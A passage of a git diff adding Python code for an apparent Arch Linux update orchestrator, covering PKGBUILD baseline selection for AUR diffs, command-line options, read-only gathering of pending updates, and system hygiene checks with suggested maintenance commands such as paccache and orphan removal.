+ )
+
+
+# --------------------------------------------------------------------------
+# baselines
+# --------------------------------------------------------------------------
+
+
+def split_version(version: str) -> tuple[str, str, str]:
+ """`1:2.3.4-5` -> (pkgver, pkgrel, epoch)."""
+ epoch = ""
+ rest = version
+ if ":" in rest:
+ epoch, rest = rest.split(":", 1)
+ pkgrel = ""
+ if "-" in rest:
+ rest, pkgrel = rest.rsplit("-", 1)
+ return rest, pkgrel, epoch
+
+
+def commit_for_version(repo: Path, version: str, *, limit: int = 40) -> str:
+ """The most recent commit whose PKGBUILD declares this exact version.
+
+ This is what makes a diff possible on a machine that has never run an update:
+ the recorded build baseline does not exist yet, but the version sitting in the
+ package database does, and the AUR git history can be searched for it.
+
+ A pickaxe search (`-S`) does it in one git call. It falls back to walking the
+ log because `-S` is a text match and a PKGBUILD may spell the version through
+ a variable.
+ """
+ pkgver, _pkgrel, _epoch = split_version(version)
+ if not pkgver:
+ return ""
+
+ found = git(repo, "log", "--format=%H", f"-S{pkgver}", "--", "PKGBUILD")
+ for sha in found.split():
+ # the newest commit that introduced it, confirmed by parsing rather than
+ # trusting the text match
+ shown = show(repo, sha, "PKGBUILD")
+ if shown and declared_version(shown) == version:
+ return sha
+
+ for commit in history(repo, "PKGBUILD", limit=limit):
+ shown = show(repo, commit.sha, "PKGBUILD")
+ if shown and declared_version(shown) == version:
+ return commit.sha
+ return ""
+
+
+def declared_version(pkgbuild: str) -> str:
+ """The full version a PKGBUILD declares, as `[epoch:]pkgver[-pkgrel]`.
+
+ Matching on `pkgver` alone is not enough: a maintainer bumps `pkgrel` for a
+ dependency rebuild without touching `pkgver`, so `1.0-1` and `1.0-2` both
+ match the commit that first declared `1.0`. The diff is then taken against
+ a revision the machine never had, and everything the packager changed
+ between the two looks like a fresh finding.
+ """
+ parsed = parse_pkgbuild(pkgbuild)
+ version = parsed.one("pkgver")
+ if not version:
+ return ""
+ if rel := parsed.one("pkgrel"):
+ version += f"-{rel}"
+ if epoch := parsed.one("epoch"):
+ version = f"{epoch}:{version}"
+ return version
+
+
+def baseline(
+ clone_dir: Path, package: str, installed_version: str = "", recorded_commit: str = ""
+) -> tuple[str, str]:
+ """Pick something to diff against. Returns (commit, how) where how is one of
+ "recorded", "version", or "" when nothing usable was found.
+
+ Recorded wins because it is what you actually reviewed and built last time.
+ The version match is the fallback, and the caller is expected to say which
+ one it used rather than presenting them as equivalent.
+
+ `how` is one of "recorded", "version", "missing" (no local clone) or "" (a
+ clone exists but the installed version is not in its history).
+ """
+ repo = clone_dir / package
+ if not repo.is_dir():
+ # distinct from "the version is not in the history": there is no local
+ # clone at all, so there is nothing here to compare against
+ return "", "missing"
+ if recorded_commit and has_commit(repo, recorded_commit):
+ return recorded_commit, "recorded"
+ if installed_version:
+ sha = commit_for_version(repo, installed_version)
+ if sha:
+ return sha, "version"
+ return "", ""
+
+
+def diff_against(clone_dir: Path, package: str, commit: str) -> tuple[str, str]:
+ """(old PKGBUILD, new PKGBUILD) for a baseline. Either may be empty."""
+ repo = clone_dir / package
+ new = (repo / "PKGBUILD").read_text(errors="replace") if (repo / "PKGBUILD").is_file() else ""
+ old = show(repo, commit, "PKGBUILD") if commit and has_commit(repo, commit) else ""
+ return old, new
diff --git a/updater/cli.py b/updater/cli.py
@@ -0,0 +1,2489 @@
+"""Command line entry point.
+
+The shape of a run:
+
+ gather repo updates, AUR updates, hygiene, flatpak, vulnerabilities -- all read-only
+ review one screen, one confirmation
+ apply repo first, then AUR, then flatpak, then report
+
+Two rules the order encodes:
+
+ * `pacman -Sy` refreshes, then the plan is computed, then `-Su` applies it with
+ no second refresh. What the user confirms is computed from the very databases
+ the transaction will use, so the plan cannot be a lie.
+ * A failed repo phase stops the run before any AUR build. Building against a
+ half-upgraded system is how a tree gets broken.
+"""
+
+from __future__ import annotations
+
+import argparse
+import contextlib
+import json
+import os
+import re
+import shutil
+import sys
+import time
+from dataclasses import dataclass, field
+from pathlib import Path
+
+import pyalpm
+from rich.console import Console
+
+from . import (
+ __version__,
+ aur,
+ changes,
+ config,
+ detail,
+ fetch,
+ flatpak,
+ hygiene,
+ icons,
+ live,
+ news,
+ repo,
+ security,
+ stream,
+)
+from . import (
+ hooks as hooks_mod,
+)
+from . import (
+ queue as queue_mod,
+)
+from .audit import Report, Severity, audit
+from .buildgraph import MissingMetadata, build_graph
+from .render import (
+ AurRow,
+ CheckRow,
+ RepoRow,
+ Review,
+ Step,
+ VcsRow,
+ audit_screen,
+ human_age,
+ human_bytes,
+ review_screen,
+)
+from .srcinfo import load, parse_pkgbuild
+from .theme import Theme
+
+CLONE_DEFAULT = Path.home() / ".cache/paru/clone"
+VCS_SUFFIXES = ("-git", "-svn", "-hg", "-cvs", "-bzr", "-darcs", "-nightly")
+
+EXIT_OK = 0
+EXIT_FAILED = 1
+EXIT_DECLINED = 2
+EXIT_BLOCKED = 3
+
+
+# --------------------------------------------------------------------------
+# options
+# --------------------------------------------------------------------------
+
+
+@dataclass
+class Options:
+ command: str = "run"
+ dry_run: bool = False
+ assume_yes: bool = False
+ no_tui: bool = False
+ offline: bool = False
+ json: bool = False
+ tail: bool = False
+ workers: int = 1
+ icon_tier: str | None = None
+ clone_dir: Path = CLONE_DEFAULT
+ width: int = 100
+ repo_phase: bool = True
+ aur_phase: bool = True
+ flatpak_phase: bool = True
+ hygiene_phase: bool = True
+ security_phase: bool = True
+ news_phase: bool = True
+ refresh: bool = True
+ #: AUR packages to leave out, and repo packages to hold back
+ skips: list[str] = field(default_factory=list)
+ holds: list[str] = field(default_factory=list)
+ json_stream: bool = False
+
+
+def _shared_flags(parser: argparse.ArgumentParser, *, suppress: bool = False) -> None:
+ """Flags accepted both before and after the subcommand.
+
+ With `suppress` the subparser copy carries no default, so a value given
+ before the subcommand survives instead of being overwritten by a default.
+ """
+
+ def add(*flags, **kwargs):
+ if suppress:
+ kwargs["default"] = argparse.SUPPRESS
+ parser.add_argument(*flags, **kwargs)
+
+ add("-n", "--dry-run", action="store_true", help="show the plan and stop")
+ add("-y", "--yes", action="store_true", help="do not ask for confirmation")
+ add("--no-tui", action="store_true", help="stream plain lines instead of the live dashboard")
+ add("--offline", action="store_true", help="skip everything that needs the network")
+ add("--json", action="store_true", help="machine-readable output")
+ add(
+ "--icons",
+ choices=sorted(icons.TIERS),
+ default=None,
+ help="force an icon tier instead of detecting one",
+ )
+ add("--clonedir", type=Path, default=CLONE_DEFAULT, help="paru's clone directory")
+ add("--no-repo", action="store_true", help="skip repo upgrades")
+ add("--no-aur", action="store_true", help="skip AUR updates")
+ add("--no-flatpak", action="store_true", help="skip flatpak")
+ add("--no-hygiene", action="store_true", help="skip hygiene checks")
+ add("--no-security", action="store_true", help="skip the arch-audit vulnerability scan")
+ add("--no-news", action="store_true", help="skip the arch news feed")
+ add(
+ "--no-refresh",
+ action="store_true",
+ help="plan from the databases already on disk instead of syncing first",
+ )
+
+
+def build_parser() -> argparse.ArgumentParser:
+ parser = argparse.ArgumentParser(
+ prog="updater",
+ description="A pretty Arch Linux update orchestrator.",
+ epilog=(
+ "exit codes: 0 ok or nothing to do, 1 a phase failed, "
+ "2 you declined the plan, 3 flagged packages need a decision"
+ ),
+ )
+ parser.add_argument("--version", action="version", version=f"updater {__version__}")
+ _shared_flags(parser)
+
+ sub = parser.add_subparsers(dest="command")
+ sub.add_parser("plan", parents=[], help="show the plan (implies --dry-run)")
+ sub.add_parser("hygiene", help="cache, config drift and stale processes")
+ audit_cmd = sub.add_parser("audit", help="audit one AUR package's pending changes")
+ audit_cmd.add_argument("package")
+ advisory_cmd = sub.add_parser(
+ "advisory", help="one security advisory, fetched from the tracker"
+ )
+ advisory_cmd.add_argument("advisory_id")
+ sub.add_parser("security", help="re-run arch-audit and report the result")
+ show_cmd = sub.add_parser("show", help="everything known about one package (diff, audit, CVEs)")
+ show_cmd.add_argument("package")
+ apply_cmd = sub.add_parser("apply", help="run the update")
+ apply_cmd.add_argument(
+ "--skip",
+ action="append",
+ default=[],
+ metavar="PKG",
+ help="leave this AUR package out of the run",
+ )
+ apply_cmd.add_argument(
+ "--hold",
+ action="append",
+ default=[],
+ metavar="PKG",
+ help="hold this repo package back (a partial upgrade)",
+ )
+ apply_cmd.add_argument(
+ "--json-stream",
+ action="store_true",
+ help="emit build events as JSON lines instead of rendering",
+ )
+ sub.add_parser("checks", help="re-run only the local checks (after running a fix)")
+ log_cmd = sub.add_parser("log", help="where the last run's logs are")
+ log_cmd.add_argument("--tail", action="store_true", help="print the captured logs")
+
+ # let the shared flags also appear after the subcommand
+ for subparser in sub.choices.values():
+ _shared_flags(subparser, suppress=True)
+ return parser
+
+
+def options_from(args: argparse.Namespace) -> Options:
+ def flag(name: str, default=False):
+ return getattr(args, name, default)
+
+ return Options(
+ command=args.command or "run",
+ dry_run=flag("dry_run") or args.command == "plan",
+ assume_yes=flag("yes"),
+ no_tui=flag("no_tui"),
+ offline=flag("offline"),
+ json=flag("json"),
+ tail=flag("tail"),
+ # v1 drives paru, which builds serially. There is deliberately no
+ # --workers flag: exposing one would let a user halve their build speed
+ # by dividing cores across workers that never run concurrently. The
+ # division logic in live.build_env is kept for the parallel scheduler.
+ workers=1,
+ icon_tier=getattr(args, "icons", None),
+ clone_dir=getattr(args, "clonedir", CLONE_DEFAULT),
+ width=shutil.get_terminal_size((100, 40)).columns,
+ repo_phase=not flag("no_repo"),
+ aur_phase=not flag("no_aur"),
+ flatpak_phase=not flag("no_flatpak"),
+ hygiene_phase=not flag("no_hygiene"),
+ security_phase=not flag("no_security"),
+ news_phase=not flag("no_news"),
+ refresh=not flag("no_refresh"),
+ skips=list(getattr(args, "skip", []) or []),
+ holds=list(getattr(args, "hold", []) or []),
+ json_stream=flag("json_stream"),
+ )
+
+
+# --------------------------------------------------------------------------
+# run state
+# --------------------------------------------------------------------------
+
+
+def state_root() -> Path:
+ base = os.environ.get("XDG_STATE_HOME") or (Path.home() / ".local/state")
+ return Path(base) / "updater"
+
+
+def new_run_dir() -> Path:
+ return state_root() / "runs" / time.strftime("%Y-%m-%dT%H-%M-%S")
+
+
+def latest_link() -> Path:
+ return state_root() / "latest"
+
+
+@dataclass
+class Run:
+ options: Options
+ theme: Theme = field(default_factory=Theme.default)
+ console: Console = field(default_factory=Console)
+ glyphs: object = None
+ warnings: list[str] = field(default_factory=list)
+ audits: dict[str, Report] = field(default_factory=dict)
+ aur_meta: dict[str, aur.AurPackage] = field(default_factory=dict)
+ #: genuine AUR upgrades: name -> (installed, aur)
+ updates: dict[str, tuple[str, str]] = field(default_factory=dict)
+ #: AUR version is *older* than what is installed; `paru -Sua` would not apply
+ #: these, so reporting them as updates would be wrong
+ downgrades: dict[str, tuple[str, str]] = field(default_factory=dict)
+ plan: repo.Plan = field(default_factory=repo.Plan)
+ hygiene: hygiene.Hygiene = field(default_factory=hygiene.Hygiene)
+ flatpaks: flatpak.FlatpakState = field(default_factory=flatpak.FlatpakState)
+ vulns: security.Vulnerabilities = field(default_factory=security.Vulnerabilities)
+ #: devel packages paru would rebuild, and why not if it could not say
+ devel_upgrades: dict[str, tuple[str, str]] = field(default_factory=dict)
+ devel_note: str = ""
+ foreign: list[str] = field(default_factory=list)
+ #: devel packages paru would rebuild, for the plan breakdown
+ vcs: list = field(default_factory=list)
+ #: structured warnings, so the row reads as a headline and the overlay
+ #: carries the explanation
+ warning_notes: list = field(default_factory=list)
+ config: config.Config = field(default_factory=config.Config)
+ #: whether the plan came from freshly synced databases
+ refreshed: bool = False
+ refresh_note: str = ""
+ log_dir: Path = field(default_factory=new_run_dir)
+
+ @property
+ def blocked(self) -> list[str]:
+ return [n for n, report in self.audits.items() if report.verdict is Severity.BLOCK]
+
+
+# --------------------------------------------------------------------------
+# gathering
+# --------------------------------------------------------------------------
+
+
+@contextlib.contextmanager
+def _plan_handle(run: Run):
+ """A handle for planning.
+
+ Preferred: a throwaway database synced under fakeroot, which makes the plan
+ accurate without asking for a password. Falling back to the databases on
+ disk is allowed but recorded, because a plan built from stale data is the
+ one thing this tool must not present as fact.
+ """
+ opts = run.options
+ if opts.offline or not opts.refresh:
+ with repo.connect() as handle:
+ run.refreshed = False
+ run.refresh_note = (
+ "offline: databases not refreshed" if opts.offline else "refresh skipped"
+ )
+ yield handle
+ return
+ with repo.preview() as (handle, refreshed, note):
+ run.refreshed = refreshed
+ run.refresh_note = note
+ yield handle
+
+
+def gather(run: Run) -> Review:
+ """Everything the review screen needs. Read-only, never mutates the system."""
+ opts = run.options
+ review = Review(meta=f"arch linux · rolling · {time.strftime('%Y-%m-%d %H:%M')}")
+
+ with _plan_handle(run) as handle:
+ installed = repo.installed(handle)
+ foreign = repo.foreign(handle)
+ orphan_names = repo.orphans(handle)
+ if opts.repo_phase:
+ run.plan = repo.plan(handle)
+
+ review.repo = [
+ RepoRow("U", u.name, u.old, u.new, human_bytes(u.delta)) for u in run.plan.updates
+ ]
+ review.repo_total = len(run.plan.updates)
+ review.repo_download = run.plan.download_total
+ review.repo_delta = run.plan.installed_delta
+
+ if opts.aur_phase and not opts.offline and foreign:
+ try:
+ run.aur_meta = aur.fetch(foreign)
+ except aur.AurError as exc:
+ run.warnings.append(str(exc))
+ run.aur_meta = {}
+ gone = aur.deleted(foreign, run.aur_meta, known_bases=set(installed))
+ if gone:
+ run.warning_notes.append(_package_warning(gone, known=set(installed)))
+ run.warnings.append(f"{len(gone)} package(s) no longer in the AUR")
+
+ run.updates, run.downgrades = _classify_aur(installed, run.aur_meta)
+ review.aur = _aur_rows(run)
+ review.aur_total = len(review.aur)
+ # a downgrade is listed but paru will not apply it, so it is not "to build"
+ review.aur_build = sum(1 for r in review.aur if r.tag not in ("!!", "D"))
+
+ if opts.flatpak_phase:
+ run.flatpaks = flatpak.collect(include_runtimes=False)
+
+ if opts.security_phase and not opts.offline:
+ run.vulns = security.scan()
+
+ if opts.hygiene_phase:
+ run.hygiene = hygiene.collect(
+ installed=installed,
+ orphans=orphan_names,
+ updated={u.name for u in run.plan.updates},
+ include_processes=True,
+ )
+
+ # the devel check informs a check row, so it has to run before _checks
+ run.foreign = list(foreign)
+ if opts.aur_phase and not opts.offline and foreign:
+ run.devel_upgrades, run.devel_note = aur.devel_upgrades()
+
+ review.advisories = [
+ (a.id, a.severity, a.fixed or "", ", ".join(a.packages), len(a.issues))
+ for a in run.vulns.sorted_advisories()
+ ]
+ review.checks = _checks(run)
+ review.steps = _steps(run)
+ review.vcs = _vcs(installed, foreign, run.devel_upgrades)
+ run.vcs = review.vcs
+ return review
+
+
+def _is_vcs(name: str) -> bool:
+ return name.endswith(VCS_SUFFIXES)
+
+
+def _classify_aur(
+ installed: dict[str, str], meta: dict[str, aur.AurPackage]
+) -> tuple[dict[str, tuple[str, str]], dict[str, tuple[str, str]]]:
+ """Split AUR packages into real upgrades and things that only look like them.
+
+ Two traps, both of which produce a plausible-looking list of updates that
+ `paru -Sua` would not actually perform:
+
+ VCS packages the AUR records the pkgver at the last commit, which for a
+ -git package is routinely *older* than the build sitting on
+ this machine. Version comparison is meaningless for them;
+ upstream movement is what matters, and that is reported
+ separately rather than rebuilt automatically.
+ downgrades an AUR version lower than the installed one is not an
+ upgrade, and pacman will not apply it.
+ """
+ upgrades: dict[str, tuple[str, str]] = {}
+ downgrades: dict[str, tuple[str, str]] = {}
+ for name, pkg in meta.items():
+ old = installed.get(name)
+ if not old or not pkg.version or _is_vcs(name):
+ continue
+ comparison = pyalpm.vercmp(pkg.version, old)
+ if comparison > 0:
+ upgrades[name] = (old, pkg.version)
+ elif comparison < 0:
+ downgrades[name] = (old, pkg.version)
+ return upgrades, downgrades
+
+
+def _aur_rows(run: Run) -> list[AurRow]:
+ from .render.review import aur_row_from
+
+ state = aur.State.load()
+ rows: list[AurRow] = []
+ listed = {**run.updates, **run.downgrades}
+ for name, (old, new) in sorted(listed.items()):
+ report = run.audits.get(name)
+ if report is None:
+ meta = run.aur_meta.get(name)
+ # Falls back to fetching the PKGBUILD when paru has not cloned the
+ # package, so "not audited" means genuinely unavailable rather than
+ # "nobody looked".
+ change = changes.change_for_audit(
+ run.options.clone_dir,
+ name,
+ network=not run.options.offline,
+ old_commit=state.previous_commit(name),
+ old_maintainer=state.previous_maintainer(name),
+ new_maintainer=meta.maintainer if meta else None,
+ )
+ report = audit(change)
+ run.audits[name] = report
+ row = aur_row_from(name, old, new, report)
+ if name in run.downgrades:
+ row.tag = "D"
+ row.note = "AUR is older"
+ rows.append(row)
+ return rows
+
+
+def _vcs(
+ installed: dict[str, str],
+ foreign: list[str] | None = None,
+ upgrades: dict[str, tuple[str, str]] | None = None,
+) -> list[VcsRow]:
+ """Only the devel packages that actually need rebuilding.
+
+ Listing all of them was noise: 21 rows, of which the useful number is
+ usually zero. A `-git` package's recorded pkgver is whatever the maintainer
+ last committed and is routinely *behind* the version paru generated when it
+ built the thing, so a version comparison says nothing about whether there is
+ anything new. paru's own development database is the authority, and
+ `devel_upgrades()` asks it.
+
+ Restricted to the foreign set: a VCS-suffixed name in a repository is not an
+ AUR package, and the apply path filters on `foreign`, so filtering on
+ anything else here would let the list and the command disagree.
+ """
+ if upgrades is None:
+ return []
+ candidates = set(foreign if foreign is not None else installed)
+ # `paru -Qua` lists every AUR upgrade, not only the devel ones, so this has
+ # to filter to VCS names itself. Without that, each ordinary AUR update
+ # appeared a second time as a "devel rebuild".
+ return [
+ VcsRow(name, *upgrades[name])
+ for name in sorted(upgrades)
+ if name in candidates and _is_vcs(name)
+ ]
+
+
+@dataclass
+class WarningNote:
+ """One kind of warning.
+
+ A warning is a category, not a line of text: several packages can have left
+ the AUR while something else entirely is also worth saying. Each kind gets a
+ tab of its own rather than being stacked into one scroll, so the second one
+ is not buried under the first.
+ """
+
+ label: str # the row it belongs to
+ title: str # the tab
+ headline: str # one line for the row
+ details: list[str] = field(default_factory=list)
+ action: list[str] = field(default_factory=list)
+ flagged: int = 0 # how many things want attention
+ #: the packages this warning is about, so the front end can scope it to a
+ #: selection. Free text cannot be filtered; a list can.
+ packages: list[str] = field(default_factory=list)
+
+
+def _package_warning(gone: list[str], *, known: set[str]) -> WarningNote:
+ """Packages that vanished from the AUR, which is usually not an emergency."""
+ shown = ", ".join(sorted(gone)[:3])
+ details = [
+ f"{len(gone)} installed package(s) are no longer listed in the AUR:",
+ "",
+ *[f" {name}" for name in sorted(gone)[:20]],
+ *([f" + {len(gone) - 20} more"] if len(gone) > 20 else []),
+ "",
+ "This usually means the maintainer deleted them, or they were merged",
+ "into another package. Nothing is removed from your system by this:",
+ "the installed copies stay exactly as they are.",
+ "",
+ "What it does mean is that they will stop receiving updates, and that",
+ "a dependency they satisfy has nothing to fall back on. Worth knowing",
+ "before they rot:",
+ "",
+ " pacman -Qi <name> what it is and what needs it",
+ ]
+ return WarningNote(
+ label="warning",
+ title="left the AUR",
+ headline=f"{len(gone)} package(s) left the AUR · {shown}",
+ details=details,
+ flagged=len(gone),
+ packages=sorted(gone),
+ )
+
+
+def _looks_failed(note: str) -> bool:
+ """Whether a refresh note is an error rather than a plain explanation."""
+ lowered = note.lower()
+ return any(
+ word in lowered for word in ("error", "failed", "could not", "unable", "refused", "denied")
+ )
+
+
+def _wrap_note(note: str, width: int = 68) -> list[str]:
+ """Wrap a tool's output so it reads in a modal rather than running off."""
+ import textwrap
+
+ lines: list[str] = []
+ for raw in note.splitlines() or [note]:
+ lines.extend(textwrap.wrap(raw.strip(), width) or [""])
+ return lines[:12]
+
+
+def _sync_metadata(handle, package: str) -> dict | None:
+ """Everything the sync databases know about a package."""
+ for db in handle.get_syncdbs():
+ pkg = db.get_pkg(package)
+ if pkg is None:
+ continue
+ return {
+ "repo": db.name,
+ "version": pkg.version,
+ "desc": pkg.desc or "",
+ "packager": pkg.packager or "",
+ "builddate": pkg.builddate or 0,
+ "url": pkg.url or "",
+ "licenses": list(pkg.licenses or []),
+ "depends": list(pkg.depends or []),
+ "optdepends": list(pkg.optdepends or []),
+ "groups": list(pkg.groups or []),
+ "conflicts": list(pkg.conflicts or []),
+ "provides": list(pkg.provides or []),
+ "replaces": list(pkg.replaces or []),
+ "download_size": pkg.download_size or 0,
+ "isize": pkg.isize or 0,
+ "base": pkg.base or pkg.name,
+ "sha256sum": pkg.sha256sum or "",
+ }
+ return None
+
+
+def _dependents(handle, package: str) -> list[str]:
+ """Installed packages that declare a dependency on this one."""
+ out: list[str] = []
+ for pkg in handle.get_localdb().pkgcache:
+ for dep in pkg.depends or ():
+ name = dep.split(">=")[0].split("=")[0].split("<")[0].strip()
+ if name == package:
+ out.append(pkg.name)
+ break
+ return sorted(out)
+
+
+def _hooks_for(package: str):
+ """The alpm hooks that fire when this one package is upgraded."""
+ try:
+ paths = _installed_paths({package})
+ before, after = hooks_mod.scheduled(hooks_mod.load(), {package}, paths)
+ return before + after
+ except Exception: # noqa: BLE001 - attribution is a bonus
+ return []
+
+
+def _emit_repo_detail(run: Run, payload: dict) -> None:
+ console = run.console
+ name = payload["package"]
+ head = name
+ if (
+ payload["installed"]
+ and payload["available"]
+ and payload["installed"] != payload["available"]
+ ):
+ head += f" {payload['installed']} -> {payload['available']}"
+ elif payload["available"]:
+ head += f" {payload['available']}"
+ console.print(f"[bold]{head}[/bold]")
+ for section in payload["sections"]:
+ console.print()
+ console.print(f"[bold]{section['title']}[/bold]")
+ for label, value in section.get("fields", []):
+ console.print(f" [dim]{label:<12}[/dim] {value}")
+ for item in section.get("items", []):
+ console.print(f" {item}")
+ for note in payload.get("notes", []):
+ console.print()
+ console.print(f"[dim]{note}[/dim]")
+
+
+def _hygiene_checks(run: Run) -> list[CheckRow]:
+ """The checks that describe this machine, not the wider world.
+
+ Split out because these are the only ones an action can change. Refreshing
+ after running one therefore needs nothing from the network, and asking for
+ the whole plan again would re-poll the AUR to learn nothing new.
+ """
+ rows: list[CheckRow] = []
+
+ # An empty devel list means "nothing to rebuild" only if the question could
+ # be asked. Say so when it could not, or the section looks deceptively clean.
+ if run.devel_note and any(_is_vcs(n) for n in (run.foreign or ())):
+ rows.append(
+ CheckRow(
+ False,
+ "devel",
+ "could not check for devel rebuilds",
+ details=[
+ "Some installed packages track a branch rather than a release.",
+ "paru decides whether those need rebuilding, and it could not be",
+ "asked this time:",
+ "",
+ f" {run.devel_note}",
+ "",
+ "Nothing is wrong with the system. It means this plan cannot say",
+ "whether a -git package has moved upstream, so none are offered.",
+ ],
+ )
+ )
+
+ leftovers = run.hygiene.leftovers
+ if leftovers.worth_mentioning:
+ age = human_age(time.time() - leftovers.oldest) if leftovers.oldest else "?"
+ cache = getattr(run.options, "cache_dir", None) or "/var/cache/pacman/pkg"
+ rows.append(
+ CheckRow(
+ False,
+ "downloads",
+ f"{leftovers.count} incomplete download(s), oldest {age} old",
+ details=leftovers.explain(cache),
+ action=[
+ "sudo",
+ "find",
+ str(cache),
+ "-maxdepth",
+ "1",
+ "-name",
+ "download-*",
+ "-delete",
+ ],
+ )
+ )
+
+ pacnew = run.hygiene.drift.pacnew
+ if pacnew:
+ rows.append(
+ CheckRow(
+ False,
+ "pacnew",
+ f"{len(pacnew)} unresolved config file(s)",
+ details=[
+ "pacman left these behind rather than overwrite a config file",
+ "you or a package had changed. Your version is still in place;",
+ "the package's version sits beside it:",
+ "",
+ *[f" {p}" for p in pacnew[:16]],
+ "",
+ "pacdiff walks through them and shows the difference, which is",
+ "the only sensible way to decide. It runs interactively.",
+ ],
+ action=["sudo", "pacdiff"],
+ )
+ )
+ else:
+ rows.append(
+ CheckRow(
+ True,
+ "pacnew",
+ "no unresolved config files",
+ details=["pacman had no config file it needed to", "leave alone on this system"],
+ )
+ )
+
+ cache = run.hygiene.cache
+ if cache.has_reclaimable:
+ keep = cache.keep
+ rows.append(
+ CheckRow(
+ False,
+ "cache",
+ f"{human_bytes(cache.reclaimable)} reclaimable · paccache -rk{keep}",
+ details=[
+ (
+ f"{human_bytes(cache.reclaimable)} across "
+ f"{cache.reclaimable_files} file(s) can go"
+ ),
+ f"the newest {keep} version(s) of each package are kept",
+ "",
+ "this deletes cached packages. They can be downloaded again,",
+ "so it is safe, but the next install of an old version will",
+ "fetch it from a mirror instead of the cache.",
+ ],
+ action=["paccache", f"-rk{keep}"],
+ )
+ )
+ else:
+ rows.append(CheckRow(True, "cache", "nothing worth reclaiming"))
+
+ if run.hygiene.orphans:
+ orphan_list = sorted(run.hygiene.orphans)
+ rows.append(
+ CheckRow(
+ False,
+ "orphans",
+ f"{len(orphan_list)} installed as dependencies and no longer needed",
+ details=[
+ f"{len(orphan_list)} package(s) were pulled in as dependencies",
+ "and nothing depends on them now:",
+ "",
+ *[f" {name}" for name in orphan_list[:24]],
+ "",
+ "Removing them is the usual advice, but a package can be",
+ "uninstalled because nothing *declares* a dependency on it and",
+ "still be something you use. Read the list first.",
+ ],
+ action=["sudo", "pacman", "-Rns", "--noconfirm", *orphan_list],
+ warning="removes packages from the system",
+ )
+ )
+ else:
+ rows.append(CheckRow(True, "orphans", "no orphans"))
+
+ return rows
+
+
+def _checks(run: Run) -> list[CheckRow]:
+ opts = run.options
+ rows: list[CheckRow] = []
+
+ if opts.offline:
+ rows.append(CheckRow(True, "network", "offline: only local checks ran"))
+
+ age = repo.sync_db_age()
+ if run.refreshed:
+ rows.append(CheckRow(True, "databases", "refreshed from mirrors"))
+ elif age is None:
+ rows.append(CheckRow(True, "databases", run.refresh_note or "age unknown"))
+ else:
+ failed = bool(run.refresh_note) and _looks_failed(run.refresh_note)
+ if failed:
+ # pacman's own words are long and shouty. A row is not the place for
+ # them; the overlay is, where there is room to explain.
+ rows.append(
+ CheckRow(
+ False,
+ "databases",
+ f"{human_age(age)} old · refresh failed",
+ details=[
+ "pacman could not refresh its databases, so this plan was",
+ "built from the copies already on disk.",
+ "",
+ "what pacman said:",
+ *[f" {line}" for line in _wrap_note(run.refresh_note)],
+ "",
+ "A refresh that fails usually means mirrors are unreachable",
+ "or pacman cannot write to its scratch directory. The plan",
+ "below is still valid for the databases you have; it may",
+ "simply be missing newer versions.",
+ ],
+ )
+ )
+ else:
+ stale = age > 86400
+ detail = f"{human_age(age)} old"
+ if run.refresh_note:
+ detail += f" · {run.refresh_note}"
+ rows.append(CheckRow(not stale, "databases", detail))
+
+ if opts.news_phase and not opts.offline:
+ items, news_error = news.fetch_news()
+ if news_error:
+ rows.append(CheckRow(False, "news", news_error))
+ else:
+ fresh = news.recent(items, since=run.config.news_seen)
+ rows.append(
+ CheckRow(
+ not any(i.needs_action for i in fresh),
+ "news",
+ news.summary_line(fresh),
+ details=news.explain(fresh),
+ )
+ )
+
+ # An empty devel list means "nothing to rebuild" only if the question could
+ # be asked. Say so when it could not, or the section looks deceptively clean.
+ if run.devel_note and any(_is_vcs(n) for n in (run.foreign or ())):
+ rows.append(
+ CheckRow(
+ False,
+ "devel",
+ "could not check for devel rebuilds",
+ details=[
+ "Some installed packages track a branch rather than a release.",
+ "paru decides whether those need rebuilding, and it could not be",
+ "asked this time:",
+ "",
+ f" {run.devel_note}",
+ "",
+ "Nothing is wrong with the system. It means this plan cannot say",
+ "whether a -git package has moved upstream, so none are offered.",
+ ],
+ )
+ )
+
+ leftovers = run.hygiene.leftovers
+ if leftovers.worth_mentioning:
+ age = human_age(time.time() - leftovers.oldest) if leftovers.oldest else "?"
+ cache = getattr(run.options, "cache_dir", None) or "/var/cache/pacman/pkg"
+ rows.append(
+ CheckRow(
+ False,
+ "downloads",
+ f"{leftovers.count} incomplete download(s), oldest {age} old",
+ details=leftovers.explain(cache),
+ action=[
+ "sudo",
+ "find",
+ str(cache),
+ "-maxdepth",
+ "1",
+ "-name",
+ "download-*",
+ "-delete",
+ ],
+ )
+ )
+
+ # advisories live in the Security section, which both front ends render.
+ # Repeating the counts here as well was duplication: two rows saying the same
+ # thing, one of which opened a view of the other.
+
+ pacnew = run.hygiene.drift.pacnew
+ if pacnew:
+ rows.append(
+ CheckRow(
+ False,
+ "pacnew",
+ f"{len(pacnew)} unresolved config file(s)",
+ details=[
+ "pacman left these behind rather than overwrite a config file",
+ "you or a package had changed. Your version is still in place;",
+ "the package's version sits beside it:",
+ "",
+ *[f" {p}" for p in pacnew[:16]],
+ "",
+ "pacdiff walks through them and shows the difference, which is",
+ "the only sensible way to decide. It runs interactively.",
+ ],
+ action=["sudo", "pacdiff"],
+ )
+ )
+ else:
+ rows.append(
+ CheckRow(
+ True,
+ "pacnew",
+ "no unresolved config files",
+ details=["pacman had no config file it needed to", "leave alone on this system"],
+ )
+ )
+
+ cache = run.hygiene.cache
+ if cache.has_reclaimable:
+ keep = cache.keep
+ rows.append(
+ CheckRow(
+ False,
+ "cache",
+ f"{human_bytes(cache.reclaimable)} reclaimable · paccache -rk{keep}",
+ details=[
+ (
+ f"{human_bytes(cache.reclaimable)} across "
+ f"{cache.reclaimable_files} file(s) can go"
+ ),
+ f"the newest {keep} version(s) of each package are kept",
+ "",
+ "this deletes cached packages. They can be downloaded again,",
+ "so it is safe, but the next install of an old version will",
+ "fetch it from a mirror instead of the cache.",
+ ],
+ action=["paccache", f"-rk{keep}"],
+ )
+ )
+
+ if run.hygiene.orphans:
+ orphan_list = sorted(run.hygiene.orphans)
+ shown = ", ".join(orphan_list[:6])
+ if len(orphan_list) > 6:
+ shown += f", +{len(orphan_list) - 6} more"
+ rows.append(
+ CheckRow(
+ False,
+ "orphans",
+ f"{len(orphan_list)} installed as dependencies and no longer needed",
+ details=[
+ f"{len(orphan_list)} package(s) were pulled in as dependencies",
+ "and nothing depends on them now:",
+ "",
+ *[f" {name}" for name in orphan_list[:24]],
+ "",
+ "Removing them is the usual advice, but a package can be",
+ "uninstalled because nothing *declares* a dependency on it and",
+ "still be something you use. Read the list first.",
+ ],
+ action=["sudo", "pacman", "-Rns", "--noconfirm", *orphan_list],
